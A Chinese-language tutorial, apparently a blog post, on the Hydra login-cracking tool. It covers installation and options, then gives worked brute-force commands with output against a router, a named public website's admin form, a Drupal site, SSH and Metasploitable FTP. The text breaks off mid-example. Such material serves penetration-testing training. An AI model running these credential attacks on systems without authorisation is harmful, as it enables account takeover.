本文是Medusa和Hydra快速入門手冊(cè)的第二部分,第一部分的傳送門這兩篇也是后續(xù)爆破篇的一部分,至于字典,放在最后,后續(xù)會(huì)把祖?zhèn)鞯膸资瓽字典準(zhǔn)備好
Hydra入門使用手冊(cè)
vanHauser
TheHackersChoice
目錄
0x00什么是Hydra?
0x01Hydra-GTK
0x02如何安裝
0x03如何使用Hydra?
0x04參考文檔
0x05爆破實(shí)例
0x06免責(zé)說明
0x07聯(lián)系我們
0x08防范措施
0x00什么是Hydra?
一個(gè)非常快速的網(wǎng)絡(luò)登錄破解程序,支持許多不同的服務(wù)。
查看功能集和服務(wù)覆蓋頁面-包括與ncrack和medusa的速度比較 當(dāng)前版本:8.6
最后更新2017-07-21
(c)vanHauser/THC的2001-2017
@thc.org; http://www.thc.org
許多模塊都是由David(dot)Maciejak @ gmail(dot)com編寫的
BFG代碼由Jan Dlabal提供
dlabaljan@gmail.com
在AGPLv3下許可(見LICENSE文件)
請(qǐng)不要在軍事或秘密服務(wù)機(jī)構(gòu)使用,
或?yàn)榉欠康摹?/p>
0x00什么是Hydra?
首先,歡迎來到THCHydra項(xiàng)目的mini-website。
每個(gè)密碼安全研究顯示表明,最大的安全漏洞之一是密碼。 而九頭蛇是一個(gè)并發(fā)的登錄破解程序,支持許多協(xié)議攻擊。新模塊更容易添加,除此之外,Hydra是靈活和迅速的
Hydra在Linux,Windows/Cygwin,Solaris11,F(xiàn)reeBSD8.1,OpenBSD,OSX,QNX/Blackberry上測(cè)試和編譯,并在GPLv3下提供了特殊的OpenSSL許可證擴(kuò)展。
目前此工具支持:
Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,
HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,
HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,
PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,
SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.
對(duì)于HTTP,POP3,IMAP和SMTP,支持多種登錄機(jī)制,如plain和MD5等。
這個(gè)工具是一個(gè)概念模型,是 為了讓安全員和安全顧問驗(yàn)證提供一種可能性:從遠(yuǎn)程系統(tǒng)到系統(tǒng)的未經(jīng)授權(quán)的訪問是多么容易。
該程序被寫入了vanHauser,并得到了DavidMaciejak的額外支持。
0x01Hydra-GTK
1.選擇目標(biāo),準(zhǔn)備爆破
2.選擇爆破ID,爆破字典
3.Hydra結(jié)果和輸出
0x02如何安裝
第一部分:下載
1.生產(chǎn)/發(fā)布版本:
最新的Hydra的源代碼:hydra-8.6.tar.gz
(在所有基于UNIX的平臺(tái)上編譯-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)
2.發(fā)展版本:
您可以下載并編譯當(dāng)前在GITHUB存儲(chǔ)庫中開源的開發(fā)版本的hydra:
https://github.com/vanhauser-thc/thc-hydra
可以選擇:
svn co https://github.com/vanhauser-thc/thc-hydra
或者:
git clone https://github.com/vanhauser-thc/thc-hydra.git
注意這是開發(fā)版本!新功能-伴隨著新的bug。可能會(huì)導(dǎo)致Hydra無法運(yùn)行!
1.只有舊版的Hydra才能使用源代碼,只要是v7.x,就可以讓您在不尋常的舊平臺(tái)上出現(xiàn)問題:
hydra-5.9.1-src.tar.gz
2.Win32/Cywin二進(jìn)制版本:---不再更新---
從http://www.cygwin.com安裝cygwin并自行編譯。如果您沒有安裝cygwin - 那你將如何通過cygwin做適當(dāng)?shù)陌踩珳y(cè)試呢?.
這里是舊版本的ARM和Palm二進(jìn)制文件,我們已經(jīng)不再維護(hù):
Palm:hydra-4.6-palm.zip
第二部分:編譯
Hydra在所有具有g(shù)cc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平臺(tái)上都可以編譯。
$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /
一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關(guān)系被安裝以編譯C程序。配置Hydra使用:
$ ./configure
它甚至可以在舊版本的SunOS,Ultrix等平臺(tái)進(jìn)行編譯;Htdra有很多可選模塊,比如用于SSH的庫,SVN等網(wǎng)絡(luò)協(xié)議。
如果有些庫消失了,這些庫可能就是不被您的二進(jìn)制文件支持。如果您在Linux上,麻煩以下命令,這將安裝所有必需的庫:
Ubuntu / Debian:
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev
Redhat / Fedora:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
OpenSuSE:
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel
以上所有可選的模塊和功能不包括Oracle,SAPR/3和Apple文件協(xié)議-所以您需要從提供源的網(wǎng)站下載和安裝。
對(duì)于Oracle,這是(基本安裝和SDK包)的地址:
http : //www.oracle.com/technetwork/database/features/instant-client/index.html
對(duì)于所有其他Linux派生和基于BSD的系統(tǒng),請(qǐng)使用系統(tǒng)軟件安裝程序并查找類似命名庫,如上面的命令。
在所有其他情況下,您就只能手動(dòng)下載所有源庫并手動(dòng)編譯;Hydra的配置腳本會(huì)告訴您什么庫是缺失,以及可以從哪里獲得。
0x03如何使用Hydra
3.1.簡(jiǎn)單使用
當(dāng)你剛剛進(jìn)入“hydra”,您將看到一個(gè)重要的簡(jiǎn)短摘要:可用選項(xiàng)輸入“./hydra -h”以查看所有可用的命令行選項(xiàng)。
請(qǐng)注意,不包括登錄/密碼文件。你需要自己生成它們,或者使用別人已經(jīng)生成的;然而,默認(rèn)密碼列表存在,使用“dpl4hydra.sh”生成一個(gè)列表。對(duì)于Linux用戶,可以使用GTK gui,嘗試“./xhydra”
對(duì)于命令行用法,語法如下:
對(duì)于攻擊一個(gè)目標(biāo)或網(wǎng)絡(luò),您可以使用新的“://”樣式:
hydra[某些命令行選項(xiàng)]協(xié)議://目標(biāo):端口/選項(xiàng)
舊模式也可以用于這些,另外如果你想的話,從文本文件中指定目標(biāo),你必須使用這個(gè):
hydra[某些命令行選項(xiàng)][-s端口]目標(biāo)協(xié)議選項(xiàng)
通過命令行選項(xiàng),您可以指定要嘗試的登錄名,哪些密碼,如果使用SSL,需要使用多少個(gè)并行任務(wù)才能進(jìn)行攻擊等。PROTOCOL是您要用于攻擊的協(xié)議,例如ftp,smtp,http-get或許多其他可用目標(biāo)都是要攻擊的目標(biāo),選項(xiàng)是每個(gè)PROTOCOL模塊特殊的可選值。
第一:選擇您的目標(biāo)
您有三個(gè)選項(xiàng)可以指定要攻擊的目標(biāo):
1.命令行上的單個(gè)目標(biāo):只需將IP或DNS地址放入
2.命令行上的網(wǎng)絡(luò)范圍:CIDR規(guī)范如“192.168.0.0/24”
3.文本文件中的主機(jī)列表:每個(gè)條目一行(見下文)以文本形式形成一份txt文檔
第二:選擇您的協(xié)議
嘗試避免telnet,因?yàn)闄z測(cè)到正確或錯(cuò)誤的登錄嘗試是不可靠的。其次可以使用端口掃描器查看目標(biāo)上啟用了哪些協(xié)議。
第三:檢查模塊是否有可選參數(shù)
hydra-U協(xié)議:例如hydra-Usmtp
此外:目標(biāo)端口
目標(biāo)端口是可以自己選擇的!如果沒有提供默認(rèn)公用端口,可以自行設(shè)置協(xié)議的端口;
如果指定要使用SSL(“-S”選項(xiàng)),則默認(rèn)使用SSL公用端口。如果使用“://”符號(hào),則必須使用“[”“]"括號(hào)去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:
hydra[一些命令行選項(xiàng)]ftp://[192.168.0.0/24]/
hydra[某些命令行選項(xiàng)]-6smtp://[2001:db8::1]/NTLM
請(qǐng)注意,所有hydra都是IPv4的!如果要攻擊IPv6地址,則必須添加“-6”命令行選項(xiàng)。所有攻擊都將會(huì)是IPv6!
如果要通過文本文件提供目標(biāo),則不能使用://符號(hào),但使用舊樣式,只提供協(xié)議(和模塊選項(xiàng)):
hydra[某些命令行選項(xiàng)]-Mtargets.txtftp
可以在每個(gè)目標(biāo)之后添加“:”,為每個(gè)目標(biāo)條目提供端口,例如:
foo.bar.com
target.com:21
unusual.port.com:2121
default.used.here.com
127.0.0.1
127.0.0.1:2121
請(qǐng)注意,如果要附加IPv6目標(biāo),則必須提供-6選項(xiàng),*必須*將IPv6地址放在文件[]中的括號(hào)中,
如下所示:
foo.bar.com
target.com:21
[FE80::1%的eth0]
[2001::1]
[2002::2]:8080
[2A01:24A:133:0:00:123:FF:1A]
3.2登錄和密碼
有很多關(guān)于登錄和密碼攻擊的選項(xiàng),比如使用-l進(jìn)行登錄,-p為密碼,請(qǐng)告訴hydra這是唯一的登錄嘗試和/密碼嘗試。
使用-L進(jìn)行登錄,-P為密碼,您可以提供帶條目的文本文件。
例如:
hydra -l admin -p password ftp:// localhost /
hydra -L default_logins.txt -p test ftp:// localhost /
hydra -l admin -P common_passwords.txt ftp:// localhost /
hydra -L logins.txt -P passwords.txt ftp:// localhost /
此外,您可以通過“-e”選項(xiàng)根據(jù)登錄嘗試密碼。“-e”選項(xiàng)有三個(gè)參數(shù):
s - 嘗試登錄密碼
n - 嘗試一個(gè)空的密碼
r - 反轉(zhuǎn)登錄并嘗試密碼
如果你想,例如嘗試“嘗試登錄密碼和”空密碼“,你在命令行上指定“-e sn”。但是,嘗試密碼的方式還有兩種:-p /P:
您可以使用文本文件,文本內(nèi)的登錄名和密碼對(duì)由冒號(hào)分隔,例如:
管理員:密碼
測(cè)試:測(cè)試
FOO:酒吧
這是一個(gè)常見的默認(rèn)帳戶樣式列表,也是由dpl4hydra.sh與hydra一起提供的默認(rèn)帳戶文件生成器生成的。當(dāng)使用這樣一個(gè)文本文件與-C選項(xiàng) - 請(qǐng)注意,在這種模式下你不能使用-l / -L / -p / -P選項(xiàng)(-e nsr但是可以)。例:
hydra -C default_accounts.txt ftp:// localhost /
最后,有一個(gè)使用-x選項(xiàng)的暴力模式(你不能使用-p / -P / -C),
使用-x minimum_length:maximum_length:charset
字符集定義是小寫字母的“a”,大寫字母的“A”,“1”的數(shù)字和其他任何你提供它是他們的真實(shí)代表。
例子:
-x1:3:a將所有小寫字母從長(zhǎng)度1到3生成密碼
-x2:5:/將密碼從長(zhǎng)度2到5只包含斜杠
-x5:8:A1使用大寫和數(shù)字生成長(zhǎng)度為5到8的密碼
例:
hydra -l ftp -x 3:3:a ftp:// localhost /
3.3模塊的特殊選擇
通過第三個(gè)命令行參數(shù)(TARGETSERVICEOPTIONAL)或-m命令行選項(xiàng),您可以將一個(gè)選項(xiàng)傳遞給模塊。許多模塊使用這個(gè),有幾個(gè)需要它!要查看模塊的特殊選項(xiàng),輸入:
hydra -U
例如:
./hydra -U http-post-form
特殊選項(xiàng)可以通過-m參數(shù)作為第三個(gè)命令行傳遞,選項(xiàng)或服務(wù)://target/option格式。
例子(他們其實(shí)是一樣的):
./hydra -l test -p test -m PLAIN 127.0.0.1 imap
./hydra -l test -p test 127.0.0.1 imap PLAIN
./hydra -l test -p test imap://127.0.0.1/PLAIN
3.4恢復(fù)被破壞/中斷的會(huì)話
當(dāng)Hydra被Control-C中止,死亡或者崩潰時(shí),它會(huì)留下“hydra.restore”文件,文件包含所有必要的信息,所以我們可以恢復(fù)會(huì)話。但要注意該會(huì)話文件每5分鐘寫一次。此外:hydra.restore文件不能復(fù)制到不同的平臺(tái)(例如從低位編碼littleendian到高位編碼bigendian,或從solaris系統(tǒng)到aix)
3.5如何掃描/破解代碼
環(huán)境變量HYDRA_PROXY_HTTP定義了Web代理(只為http服務(wù)!)。
以下語法有效:
HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”
HYDRA_PROXY_HTTP = “HTTP://login:password@123.45.67.89:8080 /”
HYDRA_PROXY_HTTP = “proxylist.txt”
最后一個(gè)例子是一個(gè)包含多達(dá)64個(gè)代理的文本文件(同樣的),格式定義作為其他示例。
對(duì)于所有其他服務(wù),請(qǐng)使用HYDRA_PROXY變量進(jìn)行掃描/破解。它使用相同的語法。例如:
HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:password@] proxy_addr:proxy_port
例如:
HYDRA_PROXY =connect://proxy.anonymizer.com:8000
HYDRA_PROXY = SOCKS4:// AUTH:pw@127.0.0.1:1080
HYDRA_PROXY = socksproxylist.txt
3.6額外的提示
*按可能性排序您的密碼文件,并使用-u選項(xiàng)查找密碼更快!
*單擊你的字典文件!這可以節(jié)省你很多時(shí)間:-)
cat words.txt | sort | uniq > dictionary.txt
*如果您知道目標(biāo)是使用密碼策略(允許用戶),只能選擇最小長(zhǎng)度為6的密碼,至少包含一個(gè)密碼,字母和一個(gè)數(shù)字等使用工具pw-inspector,用hydra包減少密碼列表:
cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt
3.7結(jié)果輸出
結(jié)果輸出到stdio以及其他信息。通過-o命令行選項(xiàng),結(jié)果也可以寫入文件。使用-b,并且可以指定輸出的格式。目前,這些被支持:
*文本-純文本格式
*`jsonv1`-使用版本1.x的JSON數(shù)據(jù)(定義如下)。
*`json`-JSON數(shù)據(jù)使用最新版本的模式,目前在那里只是版本1。
如果使用JSON輸出,結(jié)果文件可能不是有效的JSON,如果有的話,Hydra的嚴(yán)重錯(cuò)誤。
###JSONSchema
以下是JSON輸出示例。標(biāo)記一些參數(shù)的注意事項(xiàng):
*`errormessages`-通常打印的零個(gè)或多個(gè)字符串的數(shù)組在九頭蛇的運(yùn)行結(jié)束時(shí)到stderr。文本是非常自由的形式。
*“success”-指示Hydra是否正常運(yùn)行,是否是沒有錯(cuò)誤(**NOT**如果檢測(cè)到密碼)。該參數(shù)是JSON值“true”或“false”取決于是否完成密碼爆破。
*`quantityfound`-發(fā)現(xiàn)了多少用戶名+密碼組合。
*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra將使2.0版本從低位跨越雙字節(jié)高位,(而不是只有v1.1vsV1.10)。低版本是不斷疊加的,所以1.02將包含比1.0版本更多字段去實(shí)現(xiàn)向后兼容。版本2.x也將會(huì)從1.x版本的輸出去掉一些東西。
1.00的案例:
Version 1.00 example:
{
"errormessages": [
"[ERROR] Error Message of Something",
"[ERROR] Another Message",
"These are very free form"
],
"generator": {
"built": "2017-03-01 14:44:22",
"commandline": "hydra -b jsonv1 -o results.json ... ...",
"jsonoutputversion": "1.00",
"server": "127.0.0.1",
"service": "http-post-form",
"software": "Hydra",
"version": "v8.5"
},
"quantityfound": 2,
"results": [
{
"host": "127.0.0.1",
"login": "bill@example.com",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "joe@example.com",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
"success": false
}
0x04參考文檔
Hydra帶有一個(gè)相當(dāng)長(zhǎng)的README文件來描述,有關(guān)使用和特殊選項(xiàng)的詳細(xì)信息。當(dāng)然你也可以參考本文快速入門。
但有時(shí)詳細(xì)的在線幫助可以大大提高您的效率。
推薦閱讀以下鏈接,部分可能需要梯子,自備哦
安裝:
http://www.madirish.net/content/hydra-brute-force-utility
一般用法和選項(xiàng):
http://www.aldeid.com/wiki/Thc-hydra
http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)
HTTP基本認(rèn)證:
https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29
http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html
基于HTTP表單的auth:
http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html
http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29
多協(xié)議:
http://www.madirish.net/content/hydra-brute-foece-utility
Telnet:
http://www.adeptus-mechanicus.com/codex/bflog/bflog.html
對(duì)于那些用DVWA測(cè)試的人來說,這就是你想要的:
hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”
以下對(duì)參考文檔主要內(nèi)容的詳細(xì)介紹,取其精華,去其糟粕,同樣,也會(huì)增加實(shí)例到滲透測(cè)試:爆破篇,敬請(qǐng)期待
0x05爆破實(shí)例
接下來將簡(jiǎn)單描述幾個(gè)Hydra使用的實(shí)例!
實(shí)例1.爆破路由器
思路:當(dāng)你登錄路由器默認(rèn)管理地址時(shí),使用Hydra爆破
首先,找到你的路由器IP,你應(yīng)該已經(jīng)知道了,我的是192.168.1.1,此路由器的默認(rèn)用戶名為“admin”。如果由于某種原因,不記得密碼了,現(xiàn)讓我們來找回密碼。
然后,打開準(zhǔn)備好的Hydra,windows下打開CMD或Powershell打開命令提示符并進(jìn)入到Hydra目錄
運(yùn)行下面的命令替換你的值(命令標(biāo)志區(qū)分大小寫)。
hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /
實(shí)際命令如下所示:
hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /
命令分解:
hydra - > hydra程序
-l - >(小寫“L”不要與大寫字母混淆i)單個(gè)用戶名到目標(biāo)。使用大寫-L來指定用戶名列表
-P - >提供密碼list的路徑。-p嘗試單個(gè)密碼,即“passw0rd”
-s - >端口目標(biāo)您的路由器可能會(huì)運(yùn)行在不同的端口,如8080
{IP地址}這個(gè)不用解釋
http-get - >暴力破解的服務(wù)部分
“/” - >這將指定要定位的頁面,如果這被排除,命令將不會(huì)運(yùn)行。“/”只是表示不包括root“
如果你的字典和Hydra一樣強(qiáng),你將在輸出行收獲一個(gè)用戶名和密碼,這也意味著你成功了!
實(shí)例2.爆破HTTP
首先需要確認(rèn)的幾件事情:
返回頁面
Post參數(shù)
文本嘗試失敗
返回頁面
這通常與登錄頁面相同,但并不總是如此。所以只需查看頁面的源代碼,并找到一個(gè)方法讓表單=“post”。動(dòng)作值是將被“發(fā)布”的頁面的值。正如你可以看到要發(fā)布的頁面是“index.php”
Post參數(shù)
這些可以通過查看登錄頁面的源代碼來找到。表單中的所有標(biāo)簽都將被發(fā)布。帖子名稱將是標(biāo)簽的“name”屬性。如果它有一個(gè)定義,該值將是“值”屬性。相應(yīng)的,你可以使用firefox插件Hackbar篡改數(shù)據(jù)擴(kuò)展。
文本嘗試失敗
這是登錄嘗試失敗時(shí)在網(wǎng)頁上找到的文字。
把它們放在一起:
網(wǎng)站:www.sillychicken.co.nz/administrator/
返回頁面:index.php
返回值是:usrname=(用戶輸入),pass=(用戶輸入),提交=Login
現(xiàn)在,我們從頁面源中提取,嘗試登錄到管理頁面,我們得到一個(gè)javascript彈出窗口,其中顯示“用戶名不正確,密碼......”
“不正確的用戶名”聽起來像是不會(huì)顯示的文字,如果是一個(gè)成功的登錄,我們將使用它。
讓我們將它們?nèi)咳谌際ydra中:
hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“
我的命令看起來像:
hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”
命令分析
hydra->hydra程序
-l->(小寫“L”不要與大寫字母混淆i)單個(gè)用戶名到目標(biāo)。使用大寫-L來指定用戶名列表)我已經(jīng)為此演示設(shè)置了“hydra”帳戶,并已被刪除
-P->提供密碼lis的路徑。-p嘗試單個(gè)密碼,即“passw0rd”
-s->端口到http的默認(rèn)端口為80
-f->在第一個(gè)匹配后退出程序
{SiteAddress}IEwww.sillychicken.com ->不要包含http://
http-post-form->服務(wù)到暴力 HydraREADME具有http-form-post的命令,將會(huì)發(fā)生錯(cuò)誤
{Pathtopostbackpage}->所有后續(xù)站點(diǎn)地址必須以“/”開頭
{USERNAME_NAME}->用戶名回發(fā)變量名稱
^USER^->這將被替換為由-l或-L用戶名指定的用戶名
^PASS^->這將被替換為定義的列表中的密碼
{Failedlogintext}->只會(huì)在失敗中找到的文本登錄
注意事項(xiàng):*確保是從http-post-form“到結(jié)束命令之后
實(shí)例3.爆破Drupal站點(diǎn)
安裝九頭蛇
為了安裝Hydra,首先從http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下載Hydra源碼unzip hydra:
$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /
一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關(guān)系被安裝以編譯C程序。配置Hydra使用:
$ ./configure
Starting hydra auto configuration ...
Checking for openssl (libssl/ssl.h) ...
... NOT found, SSL support disabled
Get it fromhttp://www.openssl.org
Checking for Postgres (libpq.so) ...
... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...
... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh2 disabled
Get it fromhttp://www.libssh.org
Checking for GUI req's (pkg-config) ...
... found
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"
這些錯(cuò)誤意味著某些依賴關(guān)系未安裝。你仍然可以使用沒有這些依賴關(guān)系的Hydra,但如果沒有這些依賴關(guān)系,你將無法使用它們支持的協(xié)議。例如,上述錯(cuò)誤意味著我們將無法執(zhí)行SSL,SVN,甚至SSH爆破。除了這些常見的協(xié)議之外,錯(cuò)誤表明支持firebird,NCP,SAP都缺少相應(yīng)的依賴。Firebird是一種數(shù)據(jù)庫技術(shù)。NCP是用于控制NetWare設(shè)備的NetWare支持協(xié)議,SAP /R3是用于客戶關(guān)系類型包(認(rèn)為結(jié)算和業(yè)務(wù)任務(wù)有關(guān))的協(xié)議。不支持這些協(xié)議,Hydra的實(shí)用程序受到嚴(yán)格限制,因此你應(yīng)該努力尋找支持這些功能的軟件包。安裝程序提供了一些有用的鏈接來查找所需的庫。一般來說,如果你搜索[package]-dev或-devel,找到你的發(fā)行版的支持庫。
現(xiàn)在在Fedora上使用:
$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel
這應(yīng)該允許使用除SAP庫之外的所有庫。
一旦安裝了所有依賴項(xiàng),通過重新運(yùn)行configure,然后make和最后make install命令。確保作為“make install”命令的特權(quán)用戶運(yùn)行,以便將所需的庫放在文件系統(tǒng)上(即使用“sudo make install”)。
安裝完成后,你可以從命令行使用Hydra或GUI版本的xHydra。使用命令行對(duì)于大多數(shù)需求是完全足夠的,但是有時(shí)GUI是有幫助的。
有效的爆破
暴力攻擊的力量受到攻擊者提供的輸入的限制。當(dāng)嘗試猜測(cè)用戶名和密碼時(shí),有兩個(gè)主要的策略:
第一個(gè)是嘗試盲目的爆破。為此,攻擊工具會(huì)從預(yù)定義集合的組合中生成用戶名和密碼。通常這是數(shù)字和字母。例如,在盲目爆破攻擊中,系統(tǒng)首先嘗試使用密碼“a”作為用戶“a”登錄。接下來,它嘗試以用戶'a'登錄,密碼為'b'等等,循環(huán)遍歷所有可能的笛卡爾可能性。這種方法在時(shí)間上是非常低效的,但最終將找到有效的憑據(jù)。
第二種方法是使用列表作為輸入。為此,將向攻擊工具提供用戶名和密碼列表。然后,該工具將用戶列表中的第一個(gè)帳戶和密碼列表中的第一個(gè)密碼,依次連續(xù)嘗試每個(gè)用戶的密碼。這可以通過將可用輸入限制到更小的集合來加快此過程。
暴力攻擊的主要缺點(diǎn)是他們花費(fèi)的時(shí)間很長(zhǎng)。然而,通過減少變量,可能會(huì)加速暴力攻擊。收集用戶名/密碼樣式認(rèn)證系統(tǒng)的有效用戶列表將有效用戶的猜測(cè)限制,極大地減少了連接嘗試次數(shù)。許多服務(wù)將以公開有效的用戶帳戶如電子郵件地址或其他顯示數(shù)據(jù)的形式,提供給Hydra的用戶文件,這樣準(zhǔn)確性將大大提高。
用例:爆破Drupal
九頭蛇可以用于許多不同類型的暴力攻擊。Hydra對(duì)于老式的爆破工具(如Brutus)的一個(gè)優(yōu)點(diǎn)是其能夠執(zhí)行HTTP post form攻擊。這允許你使用Hydra來攻擊基于Web的應(yīng)用程序,甚至是具有反XSRF格式令牌的應(yīng)用程序。
Hydra的一個(gè)潛在用例是測(cè)試Drupal用戶名和密碼的強(qiáng)度。例如,如果在http://172.16.46.129/drupal-6.16/中安裝了Drupal站點(diǎn),我們可以使用任意數(shù)量的方法來收集users.txt中有效用戶列表(包括http://www.madirish.net/?article=443)。一旦我們有一個(gè)用戶列表和可能的密碼列表(可能保存為passwords.txt),同時(shí)我們需要發(fā)現(xiàn)一個(gè)最終的組件。Drupal使用令牌保護(hù)所有表單(包括登錄表單),因此我們需要在Web瀏覽器中提取目標(biāo),查看源代碼并找到令牌組件,例如:
注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,這是我們需要提供的令牌,因此Drupal可以驗(yàn)證表單的帖子。除了表單令牌之外,你還需要找到表單字段名稱以及表單后期操作URI。收集所有這些數(shù)據(jù)后,最后一步是在登錄失敗時(shí)找到出現(xiàn)在頁面中的唯一字符串。沒有這個(gè)Hydra無法確定登錄嘗試是否成功。默認(rèn)情況下,Drupal提供字符串“對(duì)不起,無法識(shí)別的用戶名或密碼”。密碼失敗時(shí)。裝備了這最后的信息,我們可以開始一個(gè)九頭蛇暴力攻擊:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org\starting at 2010-06-25 11:56:02`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 172.16.46.129 login: admin password: password
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
Hydra (http://www.thc.org\finished at 2010-06-25 11:56:03`
以上輸出顯示,Hydra使用用戶名“admin”和密碼“password”成功登錄到目標(biāo)站點(diǎn)。請(qǐng)注意,這兩個(gè)值都分別顯示在user.txt和passwords.txt文件中。
Hydra可以用來攻擊一長(zhǎng)串協(xié)議。例如,使用以下命令可以攻擊上述同一主機(jī)上的SSH服務(wù)器:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org\starting at 2010-06-25 12:17:35`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service ssh2 on port 22
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
[22][ssh2] host: 172.16.46.129 login: admin password: password
Hydra (http://www.thc.org\finished at 2010-06-25 12:17:39`
同樣,此輸出顯示登錄“admin”和密碼“password”可以用于訪問目標(biāo)上的SSH。
實(shí)例4.爆破FTP和Web
1.介紹
當(dāng)攻擊者想要了解在線系統(tǒng)時(shí),他可以使用字典爆破攻擊。下面簡(jiǎn)單介紹了兩種類型的攻擊,并解釋了如何使用Hydra啟動(dòng)在線字典攻擊。
2.爆破與字典攻擊
攻擊者可以嘗試所有可能的密碼組合(暴力方法)。好處是對(duì)獲得正確密碼是有利的。缺點(diǎn)是這是一個(gè)非常耗時(shí)的過程。
攻擊者可以建立一組連接數(shù)字(字典中的示例性模式)的通用字,并嘗試從該集合中的每個(gè)組合。這種方法(字典攻擊)可以節(jié)省攻擊者的時(shí)間,因?yàn)樗槐貜?qiáng)制整個(gè)關(guān)鍵空間。缺點(diǎn)是不能保證找到正確的密碼。然而,打入正確密碼的可能性是非常好的。
3.環(huán)境
Hydra被描述為支持許多服務(wù)的網(wǎng)絡(luò)登錄破解者。下面簡(jiǎn)單介紹如何使用Hydra啟動(dòng)對(duì)FTP和Web表單的在線字典攻擊。
Metasploitable是一種基于Linux的漏洞環(huán)境虛擬機(jī)。例如,它可以用于練習(xí)滲透測(cè)試技能。請(qǐng)記住,此機(jī)器易受攻擊,不應(yīng)以橋接模式運(yùn)行。
DVWA(Damn Wulnerable Web Application)是一種有意易受攻擊的Web應(yīng)用程序。對(duì)于那些想要了解Web應(yīng)用程序安全性的人來說,這是非常棒的環(huán)境。DVWA是Metasploitable的一部分。
4.字典
讓我們創(chuàng)建兩個(gè)簡(jiǎn)短的描述字典。
用戶列表(list_user):
1
2
3
admin_1
admin
msfadmin
密碼列表(list_password)
1
2
3
4
password_1
password
msfadmin
password_2
有12種組合進(jìn)行檢查(3個(gè)用戶4次密碼)。這些組合包括DVWA登錄表單和Metasploitable FTP(DVWA登錄表單的管理員/密碼; Metasploitable FTP的msfadmin / msfadmin)的默認(rèn)憑據(jù)。
5.Metasploitable字典攻擊FTP
使用以下命令啟動(dòng)攻擊:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V
